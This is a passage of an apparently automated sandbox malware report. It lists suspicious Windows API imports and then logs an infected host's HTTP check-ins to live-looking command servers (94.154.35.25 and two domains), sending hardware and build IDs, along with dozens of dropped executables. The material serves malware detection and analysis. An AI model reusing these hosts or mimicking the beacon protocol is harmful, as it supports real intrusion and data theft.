"TerminateProcess"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "syscall.procExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "syscall.procTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002868.00000000.251818.0143B000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")ad:T423,Found reference to API "WriteFile" (Indicator: "WriteFile"; File: "63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00000528.00000000.252090.0BDE1000.00000040.mdmp, 00000000-00000528.00000001.252412.0BDE1000.00000040.mdmp, 00000000-00003336.00000000.253660.B911A000.00000002.mdmp, 00000000-00006396.00000000.252548.CB991000.00000040.mdmp, 00000000-00006396.00000001.253647.CB991000.00000040.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00003488.00000000.251857.2DA5F000.00000004.mdmp, 00000000-00003488.00000000.251857.7C978000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00003524.00000000.250303.00190000.00000002.mdmp, 00000000-00003524.00000001.252222.0018F000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004592.00000000.250296.75431000.00000040.mdmp, 00000000-00004592.00000001.250667.75431000.00000040.mdmp")ae:T173a,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: jC9EsXW_1_.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: jC9EsXW_1_.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: jC9EsXW_1_.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: jC9EsXW_1_.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: jC9EsXW_1_.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: svchost015.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: svchost015.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: svchost015.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: svchost015.exe] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: svchost015.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: svchost015.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: svchost015.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: svchost015.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: svchost015.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: svchost015.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: svchost015.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: systemhelper.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: systemhelper.exe] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: systemhelper.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: systemhelper.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: systemhelper.exe] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: systemhelper.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: systemhelper.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: jC9EsXW.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: jC9EsXW.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: jC9EsXW.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: jC9EsXW.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: jC9EsXW.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: jC9EsXW.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: jC9EsXW.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: MSICD63.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: _setup64.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: _setup64.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: _setup64.tmp]af:Tf7d," "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=B483325996CBE2D90F44AFCA4B673C053DA706B58D84B4EFA8B2C979C7151FB140BE1D46450FC9DDF642E3BDD70A0AC64C0BD426A79253F4599B6AEF41EF4B1D149F194401DC845B8C42C8D9E35EB799357BC015B969A1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E31313938363736303130312B2B2B66633866376331656433633066396333306234306162643734663632323234323736616431646166386239656231....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e2=11986760101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986770101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986780101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----yiYFcJBOJHnybCUKfkd8 Cache-Control: no-cache Content-Length: 254" with payload::==> "------yiYFcJBOJHnybCUKfkd8Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------yiYFcJBOJHnybCUKfkd8Content-Disposition: form-data; name="build_id"639cb66483e97a71f9c9860499c027d2------yiYFcJBOJHnybCUKfkd8--" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=6 cfOrigin;dur=478 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=3z3dlIxsNSJON%2FfHTgwrZXaHzmUUGykUudH5hIdKIcEfGq5TuEXhtmHgXwbj5NmFzjMv0wuDQ7RpRM1kSLUBskYRLrvL7782OcBKzRGgrZbo%2Fdc%3D"}]} CF-RAY: 9c7234faef96ce88-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986790271&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986800101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----tjsGZ9UCJx50mu1XD16Q Cache-Control: no-cache Content-Length: 254" with payload::==> "------tjsGZ9UCJx50mu1XD16QContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------tjsGZ9UCJx50mu1XD16QContent-Disposition: form-data; name="build_id"51f668a2cea2ac24ab653acbae6f6bca------tjsGZ9UCJx50mu1XD16Q--" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=8 cfOrigin;dur=924 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=1n2%2B77oTRnfz2qpgcO7W2qILdLMMv3obrnpxXMkzl%2BlceapqEhZj3t8E76p8%2BsfsU5DnG1T39hb8l802v9rEB8HLjY22Ft6XVgaQ3vIRu84AAmg%3D"}]} CF-RAY: 9c723519aaddcfc8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST / HTTP/1.1 Host: lts.beznervov.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----17VJSpHj0Di4YJGsKAPP Cache-Control: no-cache Content-Length: 254" with payload::==> "------17VJSpHj0Di4YJGsKAPPContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------17VJSpHj0Di4YJGsKAPPContent-Disposition: form-data; name="build_id"d6711916f3e2e31a5b99d83cadd44bba------17VJSpHj0Di4YJGsKAPP--" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=c%2F6DgWoih7iQxLD0VIGb4pTjMWBfYMvDuWkmOuGQTclMQN3p05DSHI5BfY1h%2FfAo0FqLFU6lA0h7ErZAUa1r7WDbPPTXvpm2kY9Tnm2nrdSr"}]} CF-RAY: 9c72354add25eb32-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986810101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986820101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986830101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986840101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986850101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986860101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----g9rogLHMigaty0s58mAv Cache-Control: no-cache Content-Length: 254" with payload::==> "------g9rogLHMigaty0s58mAvContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------g9rogLHMigaty0s58mAvContent-Disposition: form-data; name="build_id"bfe37e825718e5072b10b3ad73d28e5d------g9rogLHMigaty0s58mAv--" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 14:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=480 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=S24PXcwzH%2F28SRg6rZp%2FEhMbW%2B6gGYfM3GOnBDawCecJNm1SVP8bnkfEpqfDg4U%2F%2Fuf5lOtuiarLk5n7iksrtpiyh9C0c%2FIvFW8BvoqyYhTp1qI%3D"}]} CF-RAY: 9c7235a62db02c47-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986870101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986880101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986890101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986901101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11986910101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=B483325996CBE2D90F44AFCA4B673C053DA706B58D84B4EFA8B2C979C7151FB140BE1D46450FC9DDF642E3BDD70A0AC64C0BD426A79253F4599B6AEF41EF4B1D149F194401DC845B8C42C8D9E35EB799357BC015B969A1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun 01 Feb 2026 14:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E.......b4:T12c5,"S1eqCC3.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 (stripped to external PDB) 6 sections"- Location: [%TEMP%\11986810101\S1eqCC3.exe]- [targetUID: 00000000-00002868] "WBtQWrl.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 4 sections"- [targetUID: N/A] "bitvise.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 (stripped to external PDB) 6 sections"- [targetUID: N/A] "ksvjmkkoywbr.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "svchost015.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "1K11J6.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP000.TMP\1K11J6.exe]- [targetUID: 00000000-00005768] "systemhelper.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%USERPROFILE%\systemhelper.exe]- [targetUID: 00000000-00008020] "Wfo8KJM.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11986850101\Wfo8KJM.exe]- [targetUID: 00000000-00007260] "2g3888.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\IXP000.TMP\2g3888.exe]- [targetUID: 00000000-00004592] "5GFpJxh.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11986780101\5GFpJxh.exe]- [targetUID: 00000000-00007260] "Install.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "_isdecmp.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- [targetUID: N/A] "is-U18SR.tmp" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 (stripped to external PDB) UPX compressed 3 sections"- [targetUID: N/A] "jC9EsXW.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: 00000000-00002976] "MSICD63.tmp" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-SVRL3.tmp" has type "PE32 executable for MS Windows 10.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: N/A] "2cd71dc5fa.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\11986901101\2cd71dc5fa.exe]- [targetUID: 00000000-00007260] "config.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 4 sections"- [targetUID: N/A] "82d8701b2f.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- Location: [%TEMP%\11986890101\82d8701b2f.exe]- [targetUID: 00000000-00006240] "jC9EsXW.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\11986870101\jC9EsXW.exe]- [targetUID: 00000000-00007260] "update.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "6TsgDw4.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\11986820101\6TsgDw4.exe]- [targetUID: 00000000-00006944] "bEKVmef.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- Location: [%TEMP%\11986770101\bEKVmef.exe]- [targetUID: 00000000-00007260] "QKTi8Lo.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\11986800101\QKTi8Lo.exe]- [targetUID: 00000000-00007260] "eNLe4nm.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11986830101\eNLe4nm.exe]- [targetUID: 00000000-00007260] "0f8d68511f.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11986910101\0f8d68511f.exe]- [targetUID: 00000000-00007260] "50e12c9e02.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11986760101\50e12c9e02.exe]- [targetUID: 00000000-00004800] "QWKgBhv.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\11986860101\QWKgBhv.exe]- [targetUID: 00000000-00007260] "94a44507ba.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\11986880101\94a44507ba.exe]- [targetUID: 00000000-00007260] "jC9EsXW.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-3DSF8.tmp\jC9EsXW.tmp]- [targetUID: 00000000-00002976] "MSIACE6.tmp" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- [targetUID: N/A] "MSIAC85.tmp" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- [targetUID: N/A]b5:T19c6," "------yiYFcJBOJHnybCUKfkd8Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------yiYFcJBOJHnybCUKfkd8Content-Disposition: form-data; name="build_id"639cb66483e97a71f9c9860499c027d2------yiYFcJBOJHnybCUKfkd8--" "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----tjsGZ9UCJx50mu1XD16Q Cache-Control: no-cache Content-Length: 254" with payload:==> "------tjsGZ9UCJx50mu1XD16QContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------tjsGZ9UCJx50mu1XD16QContent-Disposition: form-data; name="build_id"51f668a2cea2ac24ab653acbae6f6bca------tjsGZ9UCJx50mu1XD16Q--" "POST / HTTP/1.1 Host: lts.beznervov.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----17VJSpHj0Di4YJGsKAPP Cache-Control: no-cache Content-Length: 254" with payload:==> "------17VJSpHj0Di4YJGsKAPPContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------17VJSpHj0Di4YJGsKAPPContent-Disposition: form-data; name="build_id"d6711916f3e2e31a5b99d83cadd44bba------17VJSpHj0Di4YJGsKAPP--" "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 